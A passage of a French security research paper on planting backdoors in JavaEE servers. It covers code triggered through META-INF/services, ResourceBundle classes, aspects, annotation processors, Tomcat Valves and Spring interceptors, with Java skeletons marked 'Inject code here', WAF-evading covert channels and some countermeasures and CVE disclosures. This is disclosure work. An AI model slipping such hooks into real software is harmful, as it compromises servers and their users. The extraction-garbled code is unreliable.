Piege par parametrage de services Les specifications des JARs2 proposentdrsquoutiliser le repertoire META-INFservices pour signaler la presence de composantsa integrer Un fichier UTF-8 dont le nom est generalement le nom drsquoune interfacepossede une ligne de texte avec la classe proposee pour lrsquoimplementer

Jusqursquoau JDK5 cette technique nrsquoest pas outillee par des APIs du JDK Chaqueprojet desirant utiliser cette convention doit ecrire un code specifique Le JDK6 offreune nouvelle API

Generalement le programme demande la ou les ressources correspondant a uneclef Le fichier est lu et une instance de la classe indiquee est alors construite

Par exemple le framework commons-loggins de la fondation Apache utilise cetteconvention pour initialiser le LogFactory Lrsquoalgorithme de decouverte suit plusieursetapes

1 Recherche de la variable drsquoenvironnement orgapachecommonsloggingLog-

Factory

2 httpjavasuncomj2se13docsguidejarjarhtml

P Prados 391

2 Sinon recherche drsquoune ressource META-INFservicesorgapachecommonslog-gingLogFactory

3 Sinon lecture de la ressource commons-loggingproperties pour y trouver laclef orgapachecommonsloggingLogFactory

4 Sinon utilisation drsquoune valeur par defaut orgapachecommonsloggingim-plLogFactoryImpl

La deuxieme etape est la plus interessante pour le pirate en effet en diffusant unearchive avec ce fichier il est possible drsquoexecuter du code Ce dernier doit continuer leprocessus avec les etapes 2 a 4 pour rendre invisible sa presence

Drsquoautres frameworks standards utilisent la meme approche parmi lesquels ndash META-INFservicesjavaxxmlparsersSAXParserFactory

ndash META-INFservicesjavaxxmlparsersDocumentBuilderFactory

ndash META-INFservicesorgapacheaxisEngineConfigurationFactory

ndash Il est donc aise de publier ces fichiers pour injecter du comportement Par exemple

pour detourner lrsquoutilisation drsquoun analyseur SAX il faut en proposer un qui delegueses traitements vers le suivant

public static class MonSAXParserFactory

extends SAXParserFactory

private final SAXParserFactory next_

Calc next parser

private static SAXParserFactory getNextSAXParser ()

return

public SAXParserFactory ()

next_=protectctrSAXParser ()

Inject code here

public Schema getSchema ()

return next_getSchema ()

La seule presence du fichier META-INFservicesjavaxxmlparsersSAXParser-Factory contenant le nom de la classe drsquoimplementation MonSAXParserFactory

permet de detourner les traitements sans devoir beneficier de privileges particuliersLes portes drsquoentrees de ce type sont legions httpwwwgooglecomcodesearch

q=META-INF+providers

392 Porte derobee dans les serveurs drsquoapplications JavaEE

En positionnant plusieurs pieges equivalents la probabilite drsquoexecution de la portederobee est elevee

Pour se proteger de lrsquoinjection drsquoun analyseur XML il faut demarrer la JVM enajoutant des parametres permettant drsquoeviter la selection dynamique de lrsquoimplementation

-DjavaxxmlparsersSAXParserFactory =

comsunorgapachexercesinternaljaxpSAXParserFactoryImpl

-DjavaxxmlparsersDocumentBuilderFactory =

comsunorgapachexercesinternaljaxpDocumentBuilderFactoryImpl

Cette vulnerabilite et une proposition de solution ont ete annoncees officiellementiipar nos soins

Piege par parametrage drsquoAspect La troisieme technique de piege consiste autiliser les technologies innovantes de programmation par aspect Il srsquoagit drsquounetechnique de tissage de code sur des criteres syntaxiques du code du projet

Les frameworks de programmations par Aspect recherchent la presence drsquoun fichierMETA-INFaopxml dans chaque archive Ce dernier permet lrsquoexecution automatiquedrsquoun code Java Il suffit drsquoavoir une archive avec ce fichier pour pouvoir injecter ducode ou cela est interessant

ltDOCTYPE aspectj PUBLIC -AspectJ DTDEN

httpwwweclipseorgaspectjdtdaspectjdtdgt

ltaspectj gt

ltweaver gt

ltinclude within= Servlet gt

ltinclude within=jsp gt

ltweaver gt

ltaspects gt

ltaspect

name=comgooglecodemacaronMyAspect gt

ltaspects gt

ltaspectj gt

Piege par ResourceBundle Pour gerer les messages en plusieurs langues Javautilise des ResourcesBundles Lrsquoalgorithme recherche un fichier properties suivantdifferents criteres de langues et offre alors un ensemble de clefsvaleurs

ResourceBundlegetBundle(Messages)get(hello)

Lrsquoalgorithme recherche un fichier en ajoutant un suffixe forme de la langue et desa declinaison pour le pays Par exemple pour la France le suffixe est FR fr pourla Belgique FR be Srsquoil ne trouve pas de fichier lrsquoalgorithme supprime des elements

P Prados 393

Fig 2 Lecture de properties

du suffixe progressivement jusqursquoa localiser un fichier pour la langue Si rien nrsquoesttrouve une version sans suffixe est recherchee

Bien que cela soit peu connu lrsquoalgorithme est en fait plus complexe Il rechercheegalement des classes de meme nom avant de rechercher les fichiers properties

Fig 3 Lecture de properties avec classes

Il est donc possible en ajoutant une simple classe drsquoexecuter du code lors duchargement drsquoune ressource Pour simuler le comportement classique de lrsquoalgorithmeil faut ecrire une classe et ajouter un traitement dans le constructeur

public static class Messages

extends PropertyResourceBundle

public Messages () throws IOException

super(MessagesclassgetResourceAsStream(

rsquorsquo+MessagesclassgetName ()

replace(rsquorsquorsquorsquo)+properties))

Inject code here

394 Porte derobee dans les serveurs drsquoapplications JavaEE

De nombreux frameworks utilisent des ResourcesBundles Une requete avecgooglecodesearch montre lrsquoetendue des possibilites httpwwwgooglecomcodesearchq=ResourceBundlegetBundle+lang3Ajava

Il suffit drsquoajouter une classe de meme nom qursquoun fichier de ressource pour quele piege se declenche a lrsquoinsu de lrsquoapplicatif Lors drsquoun traitement anodin commele chargement drsquoun fichier de clefvaleur la porte srsquoinstalle dans le systeme Enchoisissant judicieusement les pieges la probabilite drsquoexecuter le code drsquoinitialisationde la porte derobee est forte En effet plus aucun projet ne se passe de composantsOpen Source ou non

Si un RessourceBundle est utilise dans un code privilegie la classe de simulationpeut alors beneficier des privileges

AccessControllerdoPrivileged(

new PrivilegedAction ltObject gt()

Object run()

ResourceBundlegetBundle(innocent)

getString(key) Oups

return null

Cette vulnerabilite et une proposition de solution ont ete annoncees officiellementdans le bulletin CVE-2009-0911 par nos soins

Piege par Annotations De plus en plus de frameworks utilisent les annotations pouridentifier des classes et des instances a initialiser Crsquoest un objectif de lrsquoannotation reduire le parametrage En exploitant les annotations exploitees par les differentsframeworks il est possible drsquoajouter une classe qui sera automatiquement invoquee

Par exemple le framework Spring construit des instances des classes etant annoteesde Component ou Repository La contrainte est qursquoil faut declarer une classe dansun repertoire consulte par lrsquoapplication lors de son initialisation

ltcontextcomponent -scan base -package=orgmonprojetgt

Lrsquoinconvenient de ce piege est qursquoil exige de connaıtre le nom de la branche duprojet ou seront recherches les differents composants Sans modification du fichier oucapture de lrsquoanalyse par le parseur XML il nrsquoest pas possible de proposer un piegegenerique exploitant cette fonctionnalite Par contre un developpeur du projet nrsquoaaucune difficulte a proposer un code drsquoattaque adapte

P Prados 395

Avec les specifications Servlet 30 chaque classe possedant une chaine de caractereLjavaxservletannotationWebServlet sera instancie par le serveur drsquoappli-cation En effet crsquoest la technique utilise pour identifier les classes possedant uneannotation WebServlet

Augmentation de privileges Une fois le piege declenche lrsquoetape suivante consistea augmenter les privileges du code de la porte derobee En effet le code du piege nrsquoapas toujours les droits necessaires a la mise en place judicieuse de la porte derobeeSi le code ne beneficie pas drsquoun environnement pour installer tout le necessaire ildoit augmenter ses privileges Ceux-ci peuvent etre des droits drsquoutiliser des API (si lasecurite Java2 est activee) ou pouvoir acceder a des classes particulieres du serveurdrsquoapplications

En effet les classes java sont isolees les unes des autres grace au chargeur de classePar exemple un composant Web nrsquoa pas acces aux classes du serveur drsquoapplicationsSous Tomcat 55 il y a trois espaces de noms

Fig 4 Repartition des classes dans Tomcat 5

Certaines classes sont partagees entre le serveur drsquoapplications et les composantsmais il ne srsquoagit pas des plus interessantes Elles permettent la communication entrele serveur drsquoapplications et les composants JavaEE Cette architecture permet drsquoisolerefficacement les applications entre elles

La porte derobee doit srsquoinserer dans lrsquoapplication et y rester apres un redemarrageavec plus de privileges Pour cela une copie drsquoune archive dans un repertoire plusprivilegie permettra drsquoaugmenter les droits du code La porte derobee doit srsquoinstallerdans le repertoire des composants du serveur drsquoapplications Lors du redemarrage lecode beneficiera ainsi de toutes les classes du serveur Le piege par ResourceBundlepermet alors lrsquoinjection de code lors du demarrage du serveur drsquoapplication a soninsu

396 Porte derobee dans les serveurs drsquoapplications JavaEE

Avec Tomcat 6 il nrsquoest plus necessaire drsquoaugmenter les privileges car toutes lesclasses sont disponibles La derniere version de Tomcat srsquoappuie sur la limitationdrsquoacces aux packages via la variable systeme packageaccess Cela nrsquoest actif qursquoavecla securite Java2 active

24 Les techniques drsquoinjections

Le code de la porte derobee doit etre injecte dans le flux de traitement delrsquoapplication Lrsquoideal est de pouvoir analyser chaque requete HTTP pour y detecterune clef specifique ouvrant la porte

Il existe differentes techniques pour injecter du code dans le processus de gestiondrsquoune requete HTTP Le schema suivant indique le flux de traitement standard drsquouncomposant JavaEE de type Web Les differents points drsquoinsertions possibles sontrepresentes

Fig 5 Point drsquoinsertions

Plusieurs strategies permettent cela Chacune est plus ou moins fonctionnellesuivant le contexte drsquoexecution

ndashndash Modifier le fichier webxml du cache de Tomcat ndash Ajouter dynamiquement une Valve Tomcat ndash Injecter du code en AOP ndash Injecter du code dans les frameworks ndash Injecter une Servlet 30 ndash Injecter du code lors de la compilation

P Prados 397

Drsquoautres approches ont ete proposees3 mais elles necessitent la modification drsquouneclasse du serveur drsquoapplication

Injection par laquo Ajout drsquoun filtre raquo Le serveur Tomcat decompresse les archives(WAR EAR) des composants dans un repertoire de travail Ce dernier est rafraıchisi le composant applicatif possede une date plus recente Le demarrage de la portederobee doit retrouver le fichier webxml du cache de Tomcat injecter un filtreJavaEE dans ce dernier et attendre le redemarrage du serveur drsquoapplication Ce nrsquoestpas toujours facile car le code du piege de la porte derobee est execute nrsquoimporteou ou plutot nrsquoimporte quand et il nrsquoa pas acces aux requetes reponses HTTPou aux contextes des servlets Quelques astuces permettent cependant drsquoidentifierdynamiquement le contexte drsquoexecution pour localiser le fichier a modifier

Le filtre JavaEE decrit ci-dessous injecte dans webxml capture desormais toutesles requetes Web

ltfilter gt

ltfilter -namegtMacaron ltfilter -namegt

ltfilter -class gtMacaronFilter ltfilter -class gt

ltfilter gt

ltfilter -mapping gt

ltfilter -namegtMacaron ltfilter -namegt

lturl -pattern gtlturl -pattern gt

ltfilter -mapping gt

Cette technique fonctionne avec un Tomcat seul mais pas toujours avec un Tomcatintegre dans un serveur drsquoapplications

Par defaut le serveur JBoss integre Tomcat mais redeploye tous les composantsa chaque demarrage Ainsi la modification du fichier webxml dans le repertoire detravail de Tomcat nrsquoest pas persistant lors du redemarrage de JBoss Cette attaquene fonctionne pas dans ce cas

Notez que les nouvelles specifications des Servlet 30 permettent drsquoajouter dy-namiquement des filtres ou des servlets

ServletContextaddFilter ()

De plus les web-fragments permettent drsquoajouter encore plus facilement des filtresou des servlets en declarant un fichier META-INFweb-fragmentxml

ltweb -fragment gt

ltfilter gt

3 httpwwwsecurityorgsgcodejspreversehtml

398 Porte derobee dans les serveurs drsquoapplications JavaEE

ltfilter gt

ltweb -fragment gt

Injection par ajout drsquoune laquo Valve raquo Tomcat propose egalement des Valves Cesont des filtres specifiques pouvant etre ajoutes dynamiquement via une requeteJMX JMX est une technologie de consultations et de manipulations des parametresdu serveur lors de son execution

Pour ajouter une valve il faut construire une instance heritant de ValveBase

avant de lrsquoinstaller dans le serveur via une requete JMX

public static void injectValve () throws Exception

final MBeanServer srv=getMBeanServer ()

final Set ltgt valves=srvqueryNames(

new ObjectName(

J2EEServer=none j2eeType=WebModule ) null)

for (Object ivalves)

srvinvoke (( ObjectName)iaddValve

new Object []

new ValveBase ()

public final void invoke(final Request req

final Response resp)

throws IOException ServletException

getNext ()invoke(req resp)

Inject code here

new String []orgapachecatalinaValve)

Avec Tomcat 5x la classe ValveBase nrsquoest pas disponible dans le chargeur declasse du composant applicatif Ajouter une version de cette classe dans le composantest impossible car Tomcat se protege de cela en refusant a un composant Web dedeclarer ou drsquoutiliser des classes de Tomcat Il est donc necessaire drsquoobtenir uneaugmentation de privilege comme indique ci-dessus

Dans un cas particulier il existe une autre solution si lrsquoattribut privileged dumarqueur context du fichier META-INFcontextxml du composant est a true lesclasses de Tomcat sont disponibles et lrsquoinvocation JMX peut srsquoeffectuer La presencede cet attribut - tres discret par ailleurs - permet de beneficier drsquoun autre chargeur declasse et de plus de droits dans une application Web Il est alors possible drsquoinjecterdynamiquement des Valves pour detourner le flux de traitement de toutes les requetes

P Prados 399

Un developpeur peut ajouter facilement cet attribut dans ce fichier pour lui ouvrirdes portes Crsquoest un privilege demande par le composant applicatif sans refus possiblepar le serveur drsquoapplication Dans un projet personne nrsquoa une vision complete ducode Aucun developpeur nrsquoira modifier cet attribut de peur de faire une betise

Si lrsquoattribut nrsquoest pas a true il faut rechercher une augmentation de privilege pourinstaller les Valves

Avec Tomcat 6x il nrsquoy a aucune contrainte pour acceder a la classe ValveBase

si la securite nrsquoest pas activee Il est donc generalement possible drsquoajouter une valvelors de lrsquoexecution drsquoun piege

Injection par XML Nous avons vu au chapitre laquo Injection par XML raquo qursquoil etaitpossible de contourner lrsquoinvocation de lrsquoanalyseur SAX ou DOM Il faut pour celapublier une archive dans le projet Web contenant le fichier META-INFservicesja-vaxxmlparsersSAXParserFactory

Il est donc possible drsquoenrichir ou de modifier un fichier XML de lrsquoapplicationlors de son traitement par lrsquoanalyseur Comme de nombreux frameworks utilisent ceformat il est possible drsquoinjecter de nouveaux parametres a la volee avant lrsquoanalysepar le framework

Crsquoest un peu complique car il faut rediger plusieurs classes srsquooccupant de ladelegation vers le parseur present dans le serveur Il faut dans un premier tempsimplementer lrsquointerface SAXParserFactory pour modifier la methode newSAXParser()Cette derniere doit retourner une implementation de la classe SAXParser Lrsquoimplementationdoit modifier la methode getXMLReader() pour retourner une implementation de lrsquoin-terface XMLReader Cette derniere peut alors modifier la methode parse(InputSourceinput) pour lire le flux avant lrsquoanalyseur et y deceler la presence drsquoun flux interessantIl est alors possible de le modifier avant de continuer lrsquoanalyse

Le code suivant est un extrait de cette implementation

public class SAXParserFactory extends javaxxmlparsersSAXParserFactory

private final

javaxxmlparsersSAXParserFactory next_

protected void hookParse(XMLReader reader

InputSource input)

throws IOException SAXException

Inject code here

readerparse(input)

public SAXParserFactory ()

next_ = nextServices(

400 Porte derobee dans les serveurs drsquoapplications JavaEE

javaxxmlparsersSAXParserFactory

comsunorgapachexerces+

internaljaxpSAXParserFactoryImpl)

public final SAXParser newSAXParser ()

throws ParserConfigurationException SAXException

return new SAXParser ()

private final SAXParser _next=

next_newSAXParser ()

public final XMLReader getXMLReader ()

throws SAXException

return new XMLReader ()

private XMLReader next_=_nextgetXMLReader ()

public final void parse(InputSource input)

throws IOException SAXException

hookParse(next_ input)

Delegate methods

public ContentHandler getContentHandler ()

return next_getContentHandler (

Delegate methods

public final boolean equals(Object obj)

return _nextequals (

Delegate methods

public final boolean equals(Object obj)

return next_equals (

La meme approche peut srsquoeffectuer lors de lrsquoanalyse drsquoun DOM par exemple lorsdu parametrage des logs Il est possible de contourner lrsquoinitialisation pour supprimerdes alertes en toute discretion

P Prados 401

Notez que cette attaque ne fonctionne pas avec Tomcat 55 car ce dernier utilisele parseur du composant pour analyser ces propres fichiers XML Cela entrainelrsquoutilisation de packages proteges par la variable systeme packagedefinition Donc pareffet de bord le serveur refuse drsquoutiliser un analyseur XML qui delegue son traitementa un analyseur deja present Il est possible de livrer un analyseur complet sansdelegation Ce point sera corrige suite a lrsquoalerte que nous avons signalee a lrsquoequipe deTomcat

La version 6x de Tomcat nrsquoutilise plus a raison lrsquoanalyseur du composant pouranalyser ces fichiers XML (sauf encore pour les fichiers TLD) Lrsquoattaque est alorseffective avec Tomcat 6x

Comme Tomcat utilise a tord le parseur du composant pour analyser les fichiersTLD ce dernier est toujours execute avant le lancement de lrsquoapplication La portederobee peut alors srsquoinstaller dans tous les cas que lrsquoapplication utilise ou non unparseur XML en interne

Cette vulnerabilite et une proposition de solution ont ete annoncees officiellement(CVE-2009-0911) par nos soins

Injection par generation drsquolaquo Autoproxy raquo Java propose une API particulierepermettant de generer dynamiquement une classe repondant a une interface preciseUne instance de cette classe capture toutes les invocations et peut alors modifier lestraitements La librairie CGLIB propose un fonctionnement similaire en generantdynamiquement une classe heritant drsquoune autre dont toutes les methodes publiquespeuvent etre redefinies Cette deuxieme approche permet drsquooffrir le meme servicesans necessiter drsquointerface

Ces technologies sont utilisees pour generer des auto-proxies pour ajouter parexemple des regles de securites de la gestion des transactions de la repartition decharge de la communication a distance type RMI ou CORBA etc

Injection des Singletons Le privilege Java2 suppressAccessChecks permet demodifier les attributs prives Srsquoil est disponible il est facile de modifier des singletonsImaginons un Singleton porte par une interface et accessible via un attribut privestatique

interface Singleton

class TheSingleton implements Singleton

private static Singleton _singleton=

new TheSingleton ()

402 Porte derobee dans les serveurs drsquoapplications JavaEE

public static Singleton getSingleton ()

return _singleton

Le singleton est accessible via la methode statique TheSingletongetSingleton() Il estegalement disponible via lrsquoattribut prive TheSingleton_singleton Le code suivant permetdrsquoencapsuler un singleton pour que toutes ses methodes soient sous le controle de laporte derobee

public static void hackSingleton(

La classe drsquoacclsquoes

final Class ltgt singletonClass

Lrsquoattribut priv rsquoe

final String singletonField

Lrsquointerface du singleton

final Class ltgt singletonInterface

Lrsquoinstance courante

final Object singleton)

throws NoSuchFieldException IllegalAccessException

final Field field=

singletonClassgetDeclaredField(singletonField)

fieldsetAccessible(true)

fieldset(null

ProxynewProxyInstance(

singletonInterfacegetClassLoader ()

new Class[] singletonInterface

new InvocationHandler ()

public Object invoke(Object self

Method method

Object [] args)

throws Throwable

Inject code here

return methodinvoke(singleton args)

))

Lrsquoinvocation de cette methode par la porte derobee permet de detourner tous lestraitements du singleton

hackSingleton(

La classe drsquoacclsquoes

TheSingletonclass

Lrsquoattribut statique privrsquoe

_singleton

Lrsquointerface du singleton

Singletonclass

Le singleton courant

SingletonImpgetSingleton ())

P Prados 403

Deux techniques permettent de se proteger de ces attaques declarer lrsquoattribut_singleton en final ou utiliser la securite Java2 Il faut en effet beneficier du privilegesuppressAccessChecks pour pouvoir modifier un attribut prive

Parfois les singletons nrsquoimplementent pas drsquointerfaces

public class Singleton

private static Singleton theSingleton=new Singleton ()

public static Singleton getSingleton ()

return _singleton

En exploitant la librairie CGLib si elle est disponible dans le projet il est toujourspossible de detourner les traitements du singleton

public static void hackCGLibSingleton(

final Object singleton

String singletonField)

throws NoSuchFieldException IllegalAccessException

Field field = singletongetClass ()

getDeclaredField(singletonField)

fieldsetAccessible(true)

fieldset(

null Enhancercreate(singletongetClass ()

new MethodInterceptor ()

public Object intercept(Object obj

Method method

Object [] args

MethodProxy proxy)

throws javalangThrowable

Inject code here

return proxyinvoke(singleton args)

))

hackCGLibSingleton(SingletongetSingleton () _singleton)

Pour eviter cette attaque il faut que la classe du singleton soit final afin drsquointerdirelrsquoheritage ou utiliser la securite Java2

Comme il est possible de detourner les invocations de toutes les methodes drsquounsingleton le developpeur inconvenant va rechercher les singletons permettant drsquoobtenirla requete et la reponse drsquoune requete HTTP Ainsi il peut detecter lrsquoouverture de laporte derobee lors de lrsquoutilisation du singleton

Les frameworks drsquoAOP utilisent des singletons pour lrsquoinjection du code Moyennantla presence de CGLib il est theoriquement possible drsquointervenir sur le traitement

404 Porte derobee dans les serveurs drsquoapplications JavaEE

drsquoune injection apres le demarrage de lrsquoapplication AspectJ utilise un singletonpublic mais final interdisant cette attaque

Cela confirme que lrsquoutilisation de singletons presente un risque pour les projetsLrsquoutilitaire Google Singleton Detector4 peut identifier les risques dans les projets

Injection des composants Spring Le framework Spring initie les singletons delrsquoapplication a lrsquoaide du concept drsquoinversion de controle Crsquoest a dire que les composantsne recherchent pas leurs composants lies crsquoest le framework Spring qui se charge deleur fournir Lrsquoinitialisation des composants de Spring correspond a la creation drsquoungroupe de Singletons lies entre eux Il est donc interessant de verifier qursquoil nrsquoestpas possible de detourner le traitement drsquoune requete HTTP

Le framework Spring propose differents sous-frameworks dont une couche MVC(Modele Vue Controleur) permettant de gerer les requetes Web Avec ce dernier ilest possible drsquoinjecter un AutoProxy dans les controleurs du MVC afin drsquoavoir lamain sur toutes les requetes HTTP

Component

Aspect

public static class AspectSpring

Around(execution(public orgspringframeworkwebservletModelAndView

(javaxservlethttpHttpServletRequest

javaxservlethttpHttpServletResponse)))

public Object mvc(ProceedingJoinPoint pjp)

throws Throwable

pjpproceed ()

Inject code here

Toutes les requetes destinees aux controleurs commenceront par un petit tour versle code de la porte derobee

De meme il est possible drsquoajouter un interceptor en charge de detourner letraitement des requetes HTTP

Component(RegisterInterceptorRegisterInterceptorName)

public class RegisterInterceptor

extends BeanNameAutoProxyCreator

Component(BackDoorInterceptorInterceptorName)

static public class BackDoorInterceptor

implements MethodInterceptor

private static final

4 httpcodegooglecompgoogle-singleton-detector

P Prados 405

String InterceptorName=Interceptor

public Object invoke(MethodInvocation i)

throws Throwable

final Method method=igetMethod ()

final Type[] args=

methodgetGenericParameterTypes ()

if ((argslength ==2) ampamp

(args [0]== HttpServletRequestclass) ampamp

(args [1]== HttpServletResponseclass))

Inject code here

return iproceed ()

private static final

String RegisterInterceptorName=registerInterceptor

public RegisterInterceptor ()

setBeanNames(new String [])

setInterceptorNames(

new String []

BackDoorInterceptorInterceptorName )

Pour que cela fonctionne il faut que lrsquoinitialisation de Spring analyse le pack-age ou la classe est presente Cela srsquoeffectue par une instruction dans le fichier-dispatch-servletxml

ltcontextcomponent -scan base -package=comgooglecodemacaron gt

Une troisieme approche consiste a declarer un ltbeangt implementant lrsquointerfaceBeanPostProcessor Il est alors possible drsquointervenir sur les beans implementantlrsquointerface HandlerMapping pour modifier le comportement de la methode getHandler(

HttpServletRequest request)Si nous desirons une attaque generique ne dependant pas drsquoun nom de package

specifique a un projet il faut modifier lrsquoanalyse du fichier XML a la volee pour yinjecter dynamiquement la declaration drsquoun nouveau ltbeangt

A lrsquoheure ou nous redigeons ces lignes cette attaque ne necessite aucun privilegeparticulier pour etre effective Elle ne peut etre contree Nous proposons une solutionet un patch du JDK6 pour corriger cela

Injection par declaration drsquolaquo Aspect raquo Une autre technologie se democratise laprogrammation par aspect Il srsquoagit drsquoajouter au programme des regles de transforma-tions et de tissage de code fondees sur la structure du programme La programmation

406 Porte derobee dans les serveurs drsquoapplications JavaEE

par aspect permet naturellement lrsquoinjection de code dans lrsquoapplication Cette evolutiondu langage peut etre presente globalement a lrsquoaide drsquoun parametre de la JVM

java -javaagentaspectjweaverjar

Nous avons montre comment cette technique permet a un piege de lrsquoapplicationdrsquoexecuter du code a lrsquoinsu du projet Elle permet egalement lrsquoinjection de traitementslors des requetes HTTP

Tous les flux de traitement vers les requetes ou les fichiers JSP peuvent etredetournes

Aspect

public static class BackDoorAspect

Around(execution(void doGet ()) +

|| execution(void doPost ()) +

|| execution(void service ()) +

|| execution(void _jspService ()))

public void backdoor(ProceedingJoinPoint pjp)

throws Throwable

pjpproceed ()

Inject code here

Ainsi toutes les servlets et toutes les JSP du serveur drsquoapplication seront sous lecontrole de la porte derobee

Il nrsquoexiste pas de technologie pour bloquer cette attaque

Injection Servlet 30 Les dernieres specifications des servlets permettent naturelle-ment lrsquoinjection de filtre Le chargeur de classe drsquoune application Web regarde toutesles classes implementant les interfaces suivantes pour y decouvrir eventuellement desannotations

ndash javaxservletServletndash javaxservletFilterndash javaxservletServletContextListenerndash javaxservletServletContextAttributeListenerndash javaxservletServletRequestListenerndash javaxservletServletRequestAttributeListenerndash javaxservlethttpHttpSessionListenerndash javaxservlethttpHttpSessionAttributeListenerLors de la presence drsquoune annotation WebFilter ce dernier est ajoute automa-

tiquement comme srsquoil etait present dans le fichier webxml

P Prados 407

Comme les algorithmes a la recherche des annotations doivent parcourir toutes lesclasses ils sont optimises et utilisent parfois des raccourcies Par exemple lrsquoalgorithme5

utilise par GlassFish recherche simplement la presence drsquoune chaine de caracterecorrespondant au nom de lrsquointerface dans le pool de constante une chaine de la formeLjavaxservletannotationWebServlet Si une classe utilise cette chaine decaractere pour autre chose sans etre pour autant une servlet elle sera considereecomme possedant cette annotation Les outils drsquoaudits doivent tenir compte de ceraccourci

Pour eviter cette decouverte automatique des filtres il faut ajouter le parametremetadata-complete dans le fichier webxml

Injections lors de la compilation Le JSR269 permet drsquoajouter des Processors

lors de la compilation drsquoun code java A partir de la version 6 de la JVM sur lapresence drsquoune annotation un code java prend la main lors de la compilation pourgenerer drsquoautres classes ou des fichiers de ressources Pour que cela fonctionne il fautposseder une archive dans le CLASSPATH lors de la compilation Cette derniere doitpresenter le service javaxannotationprocessingProcessor comme indique auchapitre laquo Injections lors de la compilation raquo

Avec cette approche il est possible drsquointervenir sur le code final de lrsquoapplicationmeme avec une archives presente uniquement pour les tests unitaires

Lrsquoajout ou la modification de classe est possible Il est donc envisageable drsquointer-venir sur une classe compilee pour modifier son comportement soit en injectant ducode directement dans la classe soit en replacant tout simplement le fichier class

SupportedAnnotationTypes()

SupportedSourceVersion(SourceVersionRELEASE_6)

public class Processor extends AbstractProcessor

private static boolean onetime=false

public boolean process(

Set lt extends TypeElement gt annotations

RoundEnvironment rndEnv)

Filer filer = processingEnvgetFiler ()

Messager messager = processingEnvgetMessager ()

Elements eltUtils =

processingEnvgetElementUtils ()

if ( rndEnvprocessingOver () ampamp onetime)

onetime=true

try

final String filterClass=

Filter3classgetName ()

5 httptinyurlcomc9dzao

408 Porte derobee dans les serveurs drsquoapplications JavaEE

JavaFileObject jfo=

filercreateClassFile(filterClass)

InputStream in=

FilterclassgetClassLoader ()

getResourceAsStream(

filterClassreplaceAll()+class)

OutputStream out=jfoopenOutputStream ()

final byte[] tampon=new byte [4096]

int len

while ((len = inread(tampon)) gt 0)

outwrite(tampon 0 len)

outclose()

inclose ()

catch (Throwable x)

Ignore

return true

Drsquoautres pistes sont possibles comme la copie de lrsquoarchive de la porte derobe lorsde la compilation a partir drsquoune version presente uniquement pour les tests unitaires

Lors drsquoune compilation par Maven ou Ant par exemple le processeur est invoquepour compiler les classes du projet et les classes des tests unitaires Le processeurpeut alors entrer en action pour intervenir sur le repertoire target avant la creationde lrsquoarchive du projet

Cette attaque peut etre exploitee pour toutes applications Java et permettredrsquoinjecter une porte derobe dans une carte a puce

Pour interdire cela il faut ajouter le parametre -proc none lors de la compilation

Drsquoautres approches Dans certaines conditions particulieres drsquoautres approchessont possibles comme la modification a chaud drsquoune classe via lrsquoapi JPDA (JavaPlatform Debugger Architecture) Il faut pour cela beneficier de lrsquoarchive toolsjar duJDK et que la JVM soit lancee en mode debug via le reseau

25 Detection de lrsquoouverture de la porte

Le code de la porte derobee etant execute a chaque requete HTTP a lrsquoaide drsquouneValve Tomcat drsquoun filtre JavaEE drsquoune injection AOP drsquoun Auto-Proxy ou drsquouninterceptor Spring il est possible drsquoanalyser tous les champs des formulaires Surla presence drsquoune clef dans un champ quelconque drsquoun formulaire la porte derobeedetourne le traitement

P Prados 409

Nous proposons un code de demonstration de ces attaques Il srsquoagit de placer unesimple archive dans le repertoire WEB-INFlib Il faut ensuite utiliser le mot Macaronen ecriture Leet6 (laquo M4c4r0n raquo) dans nrsquoimporte quel champ de lrsquoapplication pourlrsquoexecuter

26 Communication discrete

Ce chapitre decrit la couche de communication mise en place par la demonstrationVous pouvez sauter directement vers le chapitre laquo Demonstration raquo

Maintenant que le flux est detourne il faut faire preuve de discretion pourcommuniquer avec la porte derobee Le code ne doit pas etre detecte par les pare-feureseaux ni par les pare-feu applicatifs (WAF)

Les pare-feu applicatifs detectent ndash Les URLs utilisees via une liste blanche ndash La liste des champs pour chaque URLs et les contraintes de format (chiffrelettre

taille etc) ndash La vitesse des requetes (plus de 120 requetes par minutes ou plus de 360 requetes

en cinq minutes) ndash La taille limite des reponses (512Ko) ndash La presence de mots clefs specifiques dans les pages de reponses (liste noire)La porte derobee doit contourner toutes ces verifications Pour cela le filtre utilise

une URL standard de lrsquoapplication celle utilisee pour inserer la clef La requetedrsquoouverture est conforme aux contraintes si le champ choisi pour utiliser la clefaccepte des caracteres et des chiffres

La communication srsquoeffectue en remplissant un formulaire avec une valeur specialerespectant les contraintes du champ (type de caractere et taille du champ)

Les agents de la porte derobee nrsquoutilisent alors que cette URL en soumettanttoujours le meme formulaire avec les memes valeurs sauf pour un seul champ quisert de transport Ce dernier ne doit pas violer les contraintes du champ

La figure 6 indique le cheminement de la communicationLors de la soumission drsquoun formulaire le traitement est detourne vers la porte

derobee Une page specifique est renvoyee Cette derniere communique avec le code dela porte derobee a lrsquoaide de requetes AJAX afin drsquoinjecter dans la page les resultatsdes traitements au format XML

Une ecoute des trames reseau lors drsquoune communication avec la porte derobee faitapparaıtre des soumissions regulieres drsquoun formulaire dont un seul champ evolue Sila requete est de type POST il est peu probable que cela soit enregistre dans les logs

6 httpfrwikipediaorgwikiLeet_speak

410 Porte derobee dans les serveurs drsquoapplications JavaEE

Fig 6 Communication de la porte derobee

Toutes les manipulations de la porte derobee utilisent des trames portees par unchamp de formulaire HTML Une taille limite nrsquoest jamais depassee pour ce dernier

La grammaire des trames est la suivante

ltM4c4r0n gtlta|bgtltdata gt

Elle est precisee ci-dessousComme les trames ne doivent depasser une certaine taille le caractere apres la

clef laquo M4c4r0n raquo indique si la trame est terminee (a) ou si elle doit etre completeepar drsquoautres trames (b)

Les caracteres suivants servent de charge utile a la trame Le contenu est au formatASCII en b64 ou hexadecimal suivant le parametrage de la porte derobee

La charge utile des trames est alors analysee comme une commande a executerDes pages HTML specifiques sont retournees Elles utilisent la technologie AJAX pourcommuniquer Les pages sont autonomes Elles integrent les feuilles de styles et lesscripts mais evitent les images (sauf au format data ) afin de reduire le nombre derequetes HTTP Une seule requete drsquoouverture de la porte derobee permet drsquoobtenirun agent fonctionnel Les pare-feu applicatifs ne verifient generalement pas le formatdes pages en retour

Le flux drsquoemission AJAX est ralenti en termes de trafic reseau pour ne pas eveillerles soupcons

P Prados 411

Une requete specifique conf permet drsquoindiquer le format drsquoencodage et la taillemaximum drsquoune trame a ne pas depasser Elle a le format suivant

